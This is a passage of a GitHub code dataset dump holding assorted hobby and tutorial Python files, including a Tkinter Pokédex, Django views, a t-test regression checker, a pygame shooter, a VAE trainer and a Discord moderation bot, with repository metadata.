pokemon_info.config(text=f\"Nr.{pokemon.dex} {pokemon.name}\")\n pokemon_type.config(text=f\"{pokemon.types}\")\n\n\nlable_id_name = tk.Label(window, text=\"Name oder Nr. eingeben\")\nlable_id_name.config(font=(\"Arial\", 20))\nlable_id_name.pack(padx=10, pady=10)\n\ntext_id_name = tk.Text(window, height=1)\ntext_id_name.config(font=(\"Arial\", 20))\ntext_id_name.pack(padx=10, pady=10)\n\nbtn_load = tk.Button(window, text=\"Suchen\", command=load_pokemon)\nbtn_load.config(font=(\"Arial\", 20))\nbtn_load.pack(padx=10, pady=10)\n\nwindow.mainloop()","repo_name":"Boegeholzhausen/Python","sub_path":"Tutorials/TkinterTut/pokedex.py","file_name":"pokedex.py","file_ext":"py","file_size_in_byte":1503,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"44292036338","text":"# https://www.acmicpc.net/problem/1715\n\nfrom heapq import heappush, heappop\n\ninput = __import__('sys').stdin.readline\n\nh = []\nans = 0\n\nfor _ in range(int(input())):\n heappush(h, int(input()))\n\nwhile len(h) != 1:\n a = heappop(h)\n b = heappop(h)\n c = a + b\n heappush(h, c)\n ans += c\n\nprint(ans)\n","repo_name":"mangchhe/algorithm","sub_path":"tmp/boj/1715_카드 정렬하기.py","file_name":"1715_카드 정렬하기.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17836650396","text":"#군집분석 - k-means\r\n#1. 모듈 및 데이터 탑재\r\nimport pandas as pd\r\nfrom sklearn.cluster import KMeans\r\ndf = pd.read_csv('Ashopping.csv',sep=',',encoding='CP949')\r\nX = df[['Recency','Frequency','Monetary']]\r\n\r\n#2. 비계층적 군집분석\r\nmodel = KMeans(n_clusters=3, max_iter=20, random_state=19).fit(X)\r\nX['cluster_id'] = model.labels_ #라벨링하기 위해 labels_로 군집번호를 불러와 X객체의 열 이름을 cluster_id로 정한다.\r\n\r\n#3. 군집별 고객 수 확인\r\nclu1 = X[X.cluster_id==0]\r\nclu2 = X[X.cluster_id==1]\r\nclu3 = X[X.cluster_id==2]\r\nprint('군집1의 고객수 : ',clu1.cluster_id.count())\r\nprint('\\n군집2의 고객수 : ',clu2.cluster_id.count())\r\nprint('\\n군집3의 고객수 : ',clu3.cluster_id.count())\r\n\r\n#4. 군집별 평균 RFM 확인\r\nprint('군집1의 RFM평균\\n',clu1.Recency.mean(), clu1.Frequency.mean(), clu1.Monetary.mean())\r\nprint('군집2의 RFM평균\\n',clu2.Recency.mean(), clu1.Frequency.mean(), clu1.Monetary.mean())\r\nprint('군집3의 RFM평균\\n',clu3.Recency.mean(), clu1.Frequency.mean(), clu1.Monetary.mean())","repo_name":"seonukyang/DACA","sub_path":"PBS/PBS_pythonData/PBSch14.3.1.py","file_name":"PBSch14.3.1.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36074086518","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url('home/', views.home, name=\"home\"),\n url('details/',views.details,name=\"details\"),\n url('list/',views.list,name=\"list\"),\n url('^search/$',views.search,name=\"search\"),\n url('^showsearch/$',views.showsearch,name=\"showsearch\"),\n url('register/', views.register, name=\"register\"),\n url('logins/', views.logins, name=\"logins\"),\n url('forget/', views.forget, name=\"forget\"),\n]\n","repo_name":"Ben0507/DouBan","sub_path":"project/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31014591869","text":"#!/usr/bin/python3\n#\n# is_regression.py - statistical test for performance throughput regression\n# based on python scipy.stats.ttest_ind() function\n#\n# we input two sets of samples: \n# the baseline sample set -- used as an indication of previously achieved level of performance\n# the current sample set -- used as an indication of the system currently being tested for performance regression\n#\n# command line inputs:\n# sample_type -- 'throughput' or 'response-time'\n# confidence_threshold -- min probability that two sample sets have a different mean \n# (e.g. 95 means that results differ with 95% probability)\n# max_pct_dev -- maximum percent deviation of either sample set, 100.0 x std.dev/mean \n# base_sample -- file containing baseline performance throughput samples, 1 per line\n# current_sample -- file containing current performance throughput samples, 1 per line\n#\n# return status codes:\n# 0 -- no regression, PASS\n# 10 -- regression, FAIL\n# 11 -- either sample set's variance too large\n# reject if the percent deviation for either baseline or current samples is > max_pct_dev\n# \n# we declare a performance regression if base_set mean is worse than current_set mean and a T-test determines\n# that the probability that the two sample sets have a different mean is greater than confidence_threshold\n#\n# the base sample set mean is \"worse\" than the current sample set mean if and only if:\n# the sample_type is 'throughput' and the base mean > current mean\n# the sample type is 'response-time' and the base mean < current mean\n#\n# References: The Art of Computer Systems Perf. Analysis, Raj Jain\n# see documentation for python scipy.stats.ttest_ind() function\n#\n\nimport os\nimport sys\nfrom sys import argv, exit\nimport math\nimport numpy\nimport scipy\nfrom scipy.stats import ttest_ind\nfrom numpy import array\n\n# process status codes returned to shell\nNOTOK=-1\nPASS = 0\nFAIL = 10\nVARIANCE_TOO_HIGH=11\nNOT_ENOUGH_SAMPLES=12\n\ndef usage(msg):\n print('\\nERROR: ' + msg)\n print('usage: is_regression.py sample_type confidence_threshold max_pct_dev base_samples_file test_samples_file')\n print('sample_type is either \"throughput\" or \"response-time\"')\n print('confidence_threshold is probability that sample means differ expressed as a percentage')\n print('max_pct_dev is maximum percent deviation allowed for either sample set')\n print('samples files are text files with one floating-point sample value per line')\n sys.exit(NOTOK)\n\ndef read_samples_from_file( sample_filepath ):\n with open(sample_filepath, \"r\") as sample_file:\n samples = [ float(r.strip()) for r in sample_file.readlines() ]\n print('%d samples read from file %s'%(len(samples), sample_filepath))\n return array(samples)\n\ndef print_sample_stats(samples_name, samples_array):\n s = samples_array\n print('sample stats for %s: min = %f, max = %f, mean = %f, sd = %f, pct.dev. = %5.2f'%\\\n (samples_name, s.min(), s.max(), s.mean(), s.std(ddof=1), 100.0*s.std(ddof=1)/s.mean()))\n\nif len(argv) < 6:\n usage('not enough command line arguments')\n\nsample_type = argv[1]\nconfidence_threshold = float(argv[2])\nmax_pct_dev = float(argv[3])\n\n# read in and acknowledge command line arguments\n\nprint('sample type = %s , confidence_threshold = %6.2f %%, max. pct. deviation = %6.2f %%'%\\\n (sample_type, confidence_threshold, max_pct_dev))\n\nbaseline_sample_array = read_samples_from_file(argv[4])\nprint_sample_stats('baseline', baseline_sample_array)\n\ncurrent_sample_array = read_samples_from_file(argv[5])\nprint_sample_stats('current', current_sample_array)\n\n# reject invalid inputs\n\nif len(current_sample_array) < 3:\n print('ERROR: not enough current samples')\n exit(NOT_ENOUGH_SAMPLES)\n\nif len(baseline_sample_array) < 3:\n print('ERROR: not enough baseline samples')\n exit(NOT_ENOUGH_SAMPLES)\n\n# flunk the test if standard deviation is too high for either sample test\n\nbaseline_pct_dev = 100.0 * baseline_sample_array.std(ddof=1) / baseline_sample_array.mean()\ncurrent_pct_dev = 100.0 * current_sample_array.std(ddof=1) / current_sample_array.mean()\n\nif baseline_pct_dev > max_pct_dev:\n print('ERROR: pct. deviation of %5.2f is too high for baseline samples'%baseline_pct_dev)\n exit(VARIANCE_TOO_HIGH)\nif current_pct_dev > max_pct_dev:\n print('ERROR: pct. deviation of %5.2f is too high for current samples'%current_pct_dev)\n exit(VARIANCE_TOO_HIGH)\n\n# FAIL the test if sample sets are accurate enough and \n# current sample set is statistically worse than baseline sample set\n\n(t, same_mean_probability) = ttest_ind(baseline_sample_array, current_sample_array)\nprint('t-test t-statistic = %f probability = %f'%(t,same_mean_probability))\nprint('t-test says that mean of two sample sets differs with probability %6.2f%%'%\\\n ((1.0-same_mean_probability)*100.0))\n\npb_threshold = (100.0 - confidence_threshold)/100.0\nprint('same_mean_prob %f pb_threshold %f'%(same_mean_probability, pb_threshold))\nif same_mean_probability < pb_threshold:\n # the two samples do not have the same mean\n # fail if current sample is worse than baseline sample as defined above\n if (sample_type == 'throughput'):\n if (baseline_sample_array.mean() > current_sample_array.mean()):\n print('declaring a performance regression test FAILURE because of lower throughput')\n exit(FAIL)\n elif (sample_type == 'response-time'):\n if (baseline_sample_array.mean() < current_sample_array.mean()):\n print('declaring a performance regression test FAILURE because of higher response time')\n exit(FAIL)\n else: usage('sample_type must either be \"throughput\" or \"response-time\"')\n print('current sample set is statistically better than baseline sample set')\nelse:\n print('sample sets are statistically indistinguishable for specified confidence level')\nexit(PASS) # no regression found\n","repo_name":"ceph/cbt","sub_path":"tools/is-regression.py","file_name":"is-regression.py","file_ext":"py","file_size_in_byte":5838,"program_lang":"python","lang":"en","doc_type":"code","stars":237,"dataset":"github-code","pt":"11"} +{"seq_id":"17247333176","text":"from django.shortcuts import render\nfrom django import forms\nfrom Task_21_App.models import Users\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse\n\n\n# Create your views here.\n\nclass UserForm(forms.Form):\n first_name = forms.CharField(max_length=25)\n last_name = forms.CharField(max_length=25)\n age = forms.IntegerField()\n profession = forms.CharField(max_length=255)\n\n\ndef base(request):\n return render(request, 'base.html')\n\n\ndef main(request):\n if request.method == \"GET\":\n list_users = Users.objects.all()\n return render(request, 'main.html', {'list_users': list_users})\n\n\ndef detail(request, user_id):\n if request.method == \"GET\":\n user = Users.objects.filter(id=user_id).all()\n print(user)\n return render(request, 'detail.html', {'user': user})\n if request.method == 'POST':\n users_map = {\n 'first_name': 'Имя',\n 'id': 'Id',\n 'last_name': 'Фамилия',\n 'age': 'Возраст',\n 'profession': 'Профессия',\n }\n update_dict = {}\n for k, v in users_map.items():\n if request.POST.get(v, ''):\n update_dict[k] = request.POST.get(v)\n\n if update_dict:\n Users.objects.filter(id=user_id).update(**update_dict)\n return redirect('main')\n\n\n if request.POST['Имя']:\n print(request.POST['Имя'])\n user_up = Users.objects.filter(id=user_id).update(first_name=request.POST['Имя'])\n return redirect('main')\n elif request.POST['Id']:\n print(request.POST['Id'])\n user_up = Users.objects.filter(id=user_id).update(id=request.POST['Id'])\n return redirect('main')\n elif request.POST['Фамилия']:\n print(request.POST['Фамилия'])\n user_up = Users.objects.filter(id=user_id).update(last_name=request.POST['Фамилия'])\n return redirect('main')\n elif request.POST['Возраст']:\n print(request.POST['Возраст'])\n user_up = Users.objects.filter(id=user_id).update(age=request.POST['Возраст'])\n return redirect('main')\n elif request.POST['Профессия']:\n print(request.POST['Профессия'])\n user_up = Users.objects.filter(id=user_id).update(profession=request.POST['Профессия'])\n return redirect('main')\n\n\ndef delete(request):\n if request.method == 'GET':\n u_id = request.GET.get('id')\n delete_user = Users.objects.filter(id=u_id).delete()\n\n return redirect('main')\n","repo_name":"AlexandrSech/Z49-TMS","sub_path":"students/Volodzko/Task_21/Task_21/Task_21_App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2668,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"15771642394","text":"\"\"\"\n- Input:\nBinary tree node\nNode contains integer value\n\n- Output:\nArr of string for tree paths in ANY order.\nInt values with \"->\" in between\ni.e.\n[\"1->2->3->4\", \"1->2->3\"]\n[\"1->2->3\"]\n\n- General cases:\nOne path (Singly linked list) (One leaf node)\nMultiple root-to-leaf paths (Multiple leaf nodes)\n\nNode with negative value. (How should this be represented in the output?)\ni.e.\nTree with 1 & 2 output is [\"1->2\"]\nTree with -1 & -2 should [\"-1->-2\"]?\n\n- Edge cases:\n0 node tree (Constraint gurantees at least one node)\nUnbalanced binary tree singly list style\n\n- High level:\nStart from root.\nFor each node, check children.\nIf has a left child, go down left.\nIf has a right child, go down right.\nIf both are not present, the node is a leaf node, and we got one full path.\nSave this root-to-leaf path.\nMove up to the parent while deleting the leaf node from traversed path.\nRepeat these steps.\n\n- Algorithm:\nStart DFS from root.\nThe output asks for list of strings.\nCreating new path by copying previous path string and adding new node will cost O(n) of the string\nTo avoid recreating string all the time, use backtracking to add/remove path and only build the whole string at leaf nodes.\n\nRecursively traverse DFS,\nBase case: If node is None, do nothing.\nSave current node value to `path` keep track of traverse path\nIf both L & R are None,\n combine current path so far with \"->\" and add to results\nelse:\n DFS to left\n DFS to right\n\nNow backtrack by:\nPOP current value from the path as when it has returned to the recursion call stack after going left & right, it means it has traversed left & right subtree and current node is no longer relavant for DFS traverse path.\n\nreturn all saved results after initial dfs has ended.\n\n- Complexity:\nThe output asks for strings of paths, and it takes O(h) tree height to build one path string. \n\nTime:\nO(N * log N)\n\nTime to traverse all nodes: O(N)\n\nTime to build results output:\nCompletely unbalanced tree (Linked list):\nLeaf count: 1\nheight of the tree: N\nTime to build paths: O(N)\n\nCompletely balanced tree:\nLeaf count: N/2\nheight of the tree: log(N)\nTime to build paths: N/2 * log(N) = O(N/2 * log N) = O(N * log N)\n\nSpace: \nh is height of the tree and this will be the \nRecursion stack:\nO(h). O(N) for LinkedList and O(log N) for completly balanced tree\n\nResults string array:\nCompletely unbalanced tree (Linked list):\nResults array: Leaf count (1) * height (N) = O(N)\n\nCompletely balanced tree:\nResults array: Leaf count (N/2) * height (log N) = O(N * log N)\n\"\"\"\n\n\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\nclass Solution:\n def binaryTreePaths(self, root: Optional[TreeNode]) -> List[str]:\n cur_path = []\n saved_paths = []\n\n def find_root_to_leaf_path(root: Optional[TreeNode]):\n if root is None:\n return\n\n cur_path.append(str(root.val))\n\n if root.left is None and root.right is None:\n root_to_leaf_path = \"->\".join(cur_path)\n saved_paths.append(root_to_leaf_path)\n else:\n find_root_to_leaf_path(root.left)\n find_root_to_leaf_path(root.right)\n cur_path.pop()\n \n find_root_to_leaf_path(root)\n return saved_paths","repo_name":"hanjustin/LeetCode-DSA-problems","sub_path":"LeetCode/257. Binary Tree Paths/257. DFS.py","file_name":"257. DFS.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8521070104","text":"import torch\nimport numpy as np\nfrom PIL import Image\nfrom torch.utils.data import Dataset\nimport torchvision.transforms as transforms\n\n\nclass CustomDataset(Dataset):\n def __init__(self, data, targets, image_transform=None, train=False):\n self.data = data\n self.targets = targets\n self.image_transform = image_transform\n self.train = train\n self.not_aug_transform = transforms.Compose([transforms.ToTensor()])\n\n def __len__(self):\n return len(self.targets)\n\n def __getitem__(self, idx):\n img = self.data[idx]\n img = Image.fromarray(img)\n target = self.targets[idx]\n target = np.array(target)\n\n original_img = img.copy()\n\n not_aug_img = self.not_aug_transform(original_img)\n\n if self.image_transform:\n img = self.image_transform(img)\n\n target = torch.tensor(target, dtype=torch.long)\n\n if self.train:\n return img, target\n else:\n return img, target","repo_name":"NeurAI-Lab/LURE","sub_path":"custom_dataset.py","file_name":"custom_dataset.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"31300716309","text":"import pygame\nimport random\n\npygame.init()\n\np1IdlePic = r\"C:\\Users\\zevan\\pygame\\2D pvp\\player1shoot.png\"\np1WalkPic = r\"C:\\Users\\zevan\\pygame\\2D pvp\\player1move.png\"\np2IdlePic = r\"C:\\Users\\zevan\\pygame\\2D pvp\\player2shoot.png\"\np2WalkPic = r\"C:\\Users\\zevan\\pygame\\2D pvp\\player2move.png\"\n\n#text\nfont = pygame.font.Font(r'C:\\Users\\zevan\\pygame\\Pong\\Retro Gaming.ttf', 40)\n\n#display \ndisplayWidth = 800\ndisplayHeight = 600\nscreen = pygame.display.set_mode((displayWidth, displayHeight))\ncaption = pygame.display.set_caption(\"2D PVP\")\ndisplayIcon = pygame.image.load(r\"C:\\Users\\zevan\\pygame\\2D pvp\\player1shoot.png\")\npygame.display.set_icon(displayIcon)\n\n#envornment generation\nenvironment = [[0,0,0,0,0,0,0,0], \n [0,0,0,0,0,0,0,0], \n [0,0,0,0,0,0,0,0]]\nfor i in range(9):\n array = []\n for j in range(8):\n num = random.randint(-1, 1)\n array.append(num)\n environment.append(array)\n\nsquares = []\nfor i in range(12):\n for j in range(8):\n if environment[i][j] == 1:\n squares.append(pygame.Rect(j * 100, (i * 50) - 40, 100, 5))\n\n#players\nclass players(pygame.sprite.Sprite):\n def __init__(self, path, pathW, x, y, up, left, right, direction):\n super().__init__()\n self.image = pygame.image.load(path).convert_alpha()\n self.image = pygame.transform.scale(self.image, (self.image.get_width() * 2, self.image.get_height() * 2))\n self.idleImage = self.image\n self.walkImage = pygame.image.load(pathW).convert_alpha()\n self.walkImage = pygame.transform.scale(self.walkImage, (self.walkImage.get_width() * 2, self.walkImage.get_height() * 2))\n self.hitbox = self.image.get_rect()\n self.hitbox.x = x\n self.hitbox.y = y\n self.xSpeed = 0\n self.ySpeed = 0\n self.up = up\n self.left = left\n self.right = right\n self.direction = direction\n self.bullets = pygame.sprite.Group()\n self.last_shoot_time = pygame.time.get_ticks()\n self.health = 10\n self.onGround = 0\n \n def forces(self):\n #walls and stuff\n for i in range(len(squares)):\n if self.hitbox.y + 19 < squares[i].y and self.hitbox.colliderect(squares[i]):\n if self.ySpeed > 0:\n self.hitbox.y = squares[i].y - 37\n self.ySpeed = 0\n self.onGround = 1\n\n #ground and gravity\n if self.hitbox.y >= 522:\n self.hitbox.y = 522\n self.ySpeed = 0\n self.onGround = 1\n else:\n self.ySpeed += 0.1\n self.hitbox.x += self.xSpeed\n self.hitbox.y += self.ySpeed\n if self.hitbox.x <= 0:\n self.hitbox.x = 0\n if self.hitbox.x >= 775:\n self.hitbox.x = 775\n \n def movement(self): #sorry for the long function\n #characters moving from input\n keys = pygame.key.get_pressed()\n if keys[self.up] and self.onGround == 1: #jump\n self.hitbox.y -= 2\n self.ySpeed = -4\n self.onGround = 0\n\n if keys[self.left]: #move left\n if self.xSpeed <= -4:\n self.xSpeed = -4\n else:\n self.xSpeed -= 0.1\n if self.direction == \">\": #changing sprite direction\n self.direction = \"<\"\n self.idleImage = pygame.transform.flip(self.idleImage, True, False)\n self.walkImage = pygame.transform.flip(self.walkImage, True, False)\n self.image = self.idleImage\n\n #shooting left\n if pygame.time.get_ticks() - self.last_shoot_time > shoot_delay:\n bullet = Bullet(self.hitbox.x, self.hitbox.y + 19, \"<\")\n self.bullets.add(bullet)\n self.last_shoot_time = pygame.time.get_ticks()\n\n #walk animation\n if self.image == self.idleImage:\n self.image = self.walkImage\n elif self.image == self.walkImage:\n self.image = self.idleImage\n elif keys[self.right]: #move right\n if self.xSpeed >= 4:\n self.xSpeed = 4\n else:\n self.xSpeed += 0.1\n if self.direction == \"<\": #changing sprite direction\n self.direction = \">\"\n self.idleImage = pygame.transform.flip(self.idleImage, True, False)\n self.walkImage = pygame.transform.flip(self.walkImage, True, False)\n self.image = self.idleImage\n\n #shooting right\n if pygame.time.get_ticks() - self.last_shoot_time > shoot_delay:\n bullet = Bullet(self.hitbox.x + 20, self.hitbox.y + 19, \">\")\n self.bullets.add(bullet)\n self.last_shoot_time = pygame.time.get_ticks()\n #walk animation\n if self.image == self.idleImage:\n self.image = self.walkImage\n elif self.image == self.walkImage:\n self.image = self.idleImage\n else:\n self.xSpeed = 0\n self.image = self.idleImage\n \n def bulletHit(self, player):\n for i in self.bullets:\n if player.hitbox.colliderect(i):\n player.health -= 1\n self.bullets.remove(i)\n\n#creating players \nplayer1 = players(p1IdlePic, p1WalkPic, 120, 520, pygame.K_w, pygame.K_a, pygame.K_d, \">\")\nplayer2 = players(p2IdlePic, p2WalkPic, 660, 520, pygame.K_UP, pygame.K_LEFT, pygame.K_RIGHT, \"<\")\nplayer2.idleImage = pygame.transform.flip(player2.idleImage, True, False) #making p2 face correct direction\nplayer2.walkImage = pygame.transform.flip(player2.walkImage, True, False)\n\n# Bullet class\nclass Bullet(pygame.sprite.Sprite):\n def __init__(self, x, y, direction):\n super().__init__()\n self.image = pygame.Surface((7, 3))\n self.image.fill((200, 200, 200)) # Red color for bullets\n self.rect = self.image.get_rect(center=(x, y))\n self.speed = 8\n self.randomness = random.uniform(-0.6, 0.6)\n self.direction = direction\n\n def update(self):\n if self.direction == \"<\":\n self.rect.x -= self.speed\n elif self.direction == \">\":\n self.rect.x += self.speed\n self.rect.y += self.randomness #making bullets fun\n\nclock = pygame.time.Clock()\nFPS = 100\nshoot_delay = 200 \n\n#Game loop\nrunning = True\nwhile running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n clock.tick(FPS)\n doShoot = 1\n\n #character stuff\n player1.movement()\n player2.movement()\n\n player1.forces()\n player2.forces()\n\n player1.bullets.update()\n player2.bullets.update()\n\n player1.bulletHit(player2)\n player2.bulletHit(player1)\n\n #update display\n screen.fill((0,0,0))\n pygame.draw.rect(screen, (200, 200, 200), (0, 560, 800, 40))\n\n #drawing environment\n for i in squares:\n pygame.draw.rect(screen, (200,200,200), i)\n\n #draw health bars\n pygame.draw.rect(screen, (0,0,255), (40, 40, player1.health * 20, 10))\n pygame.draw.rect(screen, (255,0,0), (540, 40, player2.health * 20, 10))\n\n #draw characters\n screen.blit(player1.image, player1.hitbox)\n screen.blit(player2.image, player2.hitbox)\n\n #draw bullets\n player1.bullets.draw(screen)\n player2.bullets.draw(screen)\n\n #win condition\n if player1.health <= 0:\n text = \"Player 2 Wins!\"\n rText = font.render(text, True, (255,0,0))\n screen.blit(rText, (220, 260))\n player2.health = 10\n if player2.health <= 0:\n text = \"Player 1 Wins!\"\n rText = font.render(text, True, (20,20,255))\n screen.blit(rText, (220, 260))\n player1.health = 10\n pygame.display.flip()\n\npygame.quit","repo_name":"Wise05/pygame-games","sub_path":"2D pvp/2Dpvp.py","file_name":"2Dpvp.py","file_ext":"py","file_size_in_byte":7818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35461533088","text":"from PIL import Image\nimport os\nimport matplotlib.pyplot as plt\nfrom VAE import VAE\n\nimport numpy as np\n\nimg_size = 128\n\nrons = []\n\nprint(\"Load data...\")\nfor ron_name in os.listdir(\"data/train_ron\"):\n ron = Image.open(\"data/train_ron/\" + ron_name).resize((img_size, img_size))\n print(\"Round \" + ron_name + \" is loaded\")\n rons.append(np.asarray(ron) / 255)\n if len(rons) >= 20:\n break\n\nprint(\"Data is loaded\")\n\ndata = np.asarray([*rons])\n\nfilters = [32, 32, 32, 64, 64, 128, 128]\nkernels = [3] * len(filters)\nstrides = [2]\nfor i in range(len(filters) - 1):\n if filters[i] != filters[i + 1]:\n strides.append(2)\n else:\n strides.append(1)\n\nprint(\"Filters: \" + str(filters))\nprint(\"Kernels: \" + str(kernels))\nprint(\"Strides: \" + str(strides))\n\"\"\"\nvae = VAE(input_shape=(img_size, img_size, 3),\n conv_filters=filters,\n conv_kernels=kernels,\n conv_strides=[2, 1,\n 2, 1,\n 2, 1],\n latent_space_dim=128,\n reconstruction_loss_weight=1000000)\n\"\"\"\n\nmodel_num = \"42\"\nvae = VAE.load(\"models/model_\" + model_num + \"/model_ls_1024\")\n# vae.summary()\n\nvae.compile(lr=0.0001)\nvae.train(data, batch_size=64, epoch=1)\nvae.save(\"models/model_\" + model_num + \"/model_ls_\" + str(vae.latent_space_dim))\n\nvae.create_new_imgs(\"created_imgs/model_\" + model_num + \"/ls_dim_\" + str(vae.latent_space_dim) + \"_4\",\n np.random.random((100, vae.latent_space_dim)) * 4.0 - 2.0)\n\nvae.show_latent_space(data)\n","repo_name":"Artyyyyr/VAE_circle_generation","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"38804148508","text":"class RangeFreqQuery:\n\n def __init__(self, arr: List[int]):\n length = len(arr)\n self.cmap = collections.defaultdict(list)\n \n for idx, val in enumerate(arr):\n self.cmap[val] += [idx]\n\n def query(self, left: int, right: int, value: int) -> int:\n # to get the position of 'left' into the list cmap[value]\n # if 'left' exists on the list, then the left index of the first occurence will be returned\n idx_left = bisect.bisect_left(self.cmap[value], left)\n \n # to get the position of 'right' into the list cmap[value]\n # if 'right' exists on the list, then the right index of the first occurence will be returned\n idx_right = bisect.bisect_right(self.cmap[value], right)\n \n return idx_right - idx_left\n \n\n\n# Your RangeFreqQuery object will be instantiated and called as such:\n# obj = RangeFreqQuery(arr)\n# param_1 = obj.query(left,right,value)","repo_name":"mmalam3/Leetcode-Problem-Solving","sub_path":"range-frequency-queries/range-frequency-queries.py","file_name":"range-frequency-queries.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"31130915617","text":"import disnake\nfrom disnake.ext import commands\nbot = commands.Bot(command_prefix='.')\n\n\nclass MyClient(disnake.Client):\n async def on_ready():\n print(f\"{bot.user.name} Is Online!\")\n try:\n print(\"Bot Is Starting..\")\n except:\n print(\"Bot Has Had A Error!\")\n\n async def on_command_error(ctx, error):\n if isinstance(error, commands.MissingPermissions):\n embed = disnake.Embed(title='A Error Has Ocurred! :x:',\n description='Error: MissingPermissions', color=disnake.Color.random())\n embed.set_thumbnail(\n url='https://media.tenor.com/images/22c7e7e0e27cac17fc6545d55942032c/tenor.gif')\n await ctx.reply(embed=embed)\n raise(error)\n if isinstance(error, commands.MissingRequiredArgument):\n embed = disnake.Embed(title='A Error Has Ocurred! :x:',\n description='Error: MissingRequiredArgument', color=disnake.Color.red())\n embed.set_thumbnail(\n url='https://media.tenor.com/images/22c7e7e0e27cac17fc6545d55942032c/tenor.gif')\n await ctx.send(embed=embed)\n if isinstance(error, commands.CommandNotFound):\n embed = disnake.Embed(title='A Error Has Ocurred! :x:',\n description='Error: CommandNotFound', color=disnake.Color.red())\n await ctx.send(embed=embed)\n if isinstance(error, commands.NotOwner):\n embed = disnake.Embeds(title='A Error Has Ocurred! :x:',\n description='Error: NotOwner', color=disnake.Color.red())\n await ctx.send(embed=embed)\n if isinstance(error, commands.MissingRole):\n embed = disnake.Embed(title='A Error Has Ocurred! :x:',\n description='Error: MissingRole', color=disnake.Color.red())\n await ctx.send(embed=embed)\n\n\n@bot.command()\nasync def info(ctx):\n embed = disnake.Embed(title='Owner(s)', color=disnake.Color.random())\n embed.add_field(name='Owner:', value='DeepSleepMusic#0001')\n embed.add_field(name='Co-Owner:', value='Sparky#3940')\n embed.add_field(name='Admin:', value='Ghost_Boi#0001')\n embed.add_field(name='Platform', value='Visual Studio Code')\n thumbnail = embed.set_thumbnail\n thumbnail(\n url='https://media1.tenor.com/images/17371ac53d1f82719e18cd14da9991b7/tenor.gif')\n await ctx.send(embed=embed)\n\n\n@bot.command(name='kick')\n@commands.has_permissions(kick_members=True)\nasync def kick(ctx, member: disnake.Member, *, reason=None):\n guild = ctx.guild\n embed = disnake.Embed(title='Kicked! :white_check_mark:',\n description=f'You Have Been Kicked From: {guild} For: {reason}', color=disnake.Color.random())\n await member.send(embed=embed)\n await member.kick(reason=reason)\n embed = disnake.Embed(title='Kicked! :white_check_mark:',\n description=f'The Member: {member.mention} Has Been Kicked For: {reason}')\n thumbnail = embed.set_thumbnail\n thumbnail(\n url='https://media1.tenor.com/images/17371ac53d1f82719e18cd14da9991b7/tenor.gif')\n await ctx.send(embed=embed)\n\n\n@bot.command(name='ban')\n@commands.has_permissions(ban_members=True)\nasync def ban(ctx, member: disnake.Member, *, reason=None):\n guild = ctx.guild\n embed = disnake.Embed(title='Banned! :white_check_mark:',\n description=f'You Have Been Banned From: {guild} For: {reason}', color=disnake.Color.random())\n await member.send(embed=embed)\n await member.ban(reason=reason)\n embed = disnake.Embed(title='Banned! :white_check_mark:',\n description=f'The Member: {member.mention} Has Been Banned For: {reason}')\n embed.set_thumbnail(\n url='https://media1.tenor.com/images/17371ac53d1f82719e18cd14da9991b7/tenor.gif')\n await ctx.send(embed=embed)\n\n\n\n\nbot.run(input(\"Token: \"))\n","repo_name":"szskill/Setup","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3979,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"10049910089","text":"from django.conf.urls import url\n\nfrom views import (\n BasicDetailsFormView,\n DashboardView,\n)\n\nurlpatterns = [\n url(r'^basic/$', BasicDetailsFormView.as_view(), name='basic'),\n url(r'^dashboard/(?P[0-9]+)/$', DashboardView.as_view(),\n name='dashboard'),\n]\n","repo_name":"utkbansal/gharonda-old","sub_path":"properties/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35970013021","text":"from network.lstm import LSTM\r\nimport networkutil\r\nfrom serializable import Serializable\r\nimport numpy as np\r\n\r\n\r\nclass Seq2seqContext(Serializable):\r\n\r\n def __init__(self, encoder, decoder, hidden_size):\r\n Serializable.__init__(self)\r\n\r\n assert encoder is not None\r\n assert decoder is not None\r\n\r\n self.encoder = encoder\r\n self.decoder = decoder\r\n self.hidden_size = hidden_size\r\n\r\n self.memory_lstm = LSTM(self.hidden_size, self.hidden_size, self.hidden_size, networkutil.tanh_activation)\r\n\r\n def fire(self, data, sos, eos, max_length=10):\r\n assert sos is not None\r\n\r\n self.encoder.reset_cell_state()\r\n self.encoder.reset_hidden_state()\r\n\r\n # generate thought vector from data\r\n thought_vector = self.encoder.fire_extend(data)\r\n memory_vector = self.memory_lstm.fire(thought_vector)\r\n\r\n self.decoder.set_hidden_state(memory_vector)\r\n self.decoder.reset_cell_state()\r\n\r\n res = 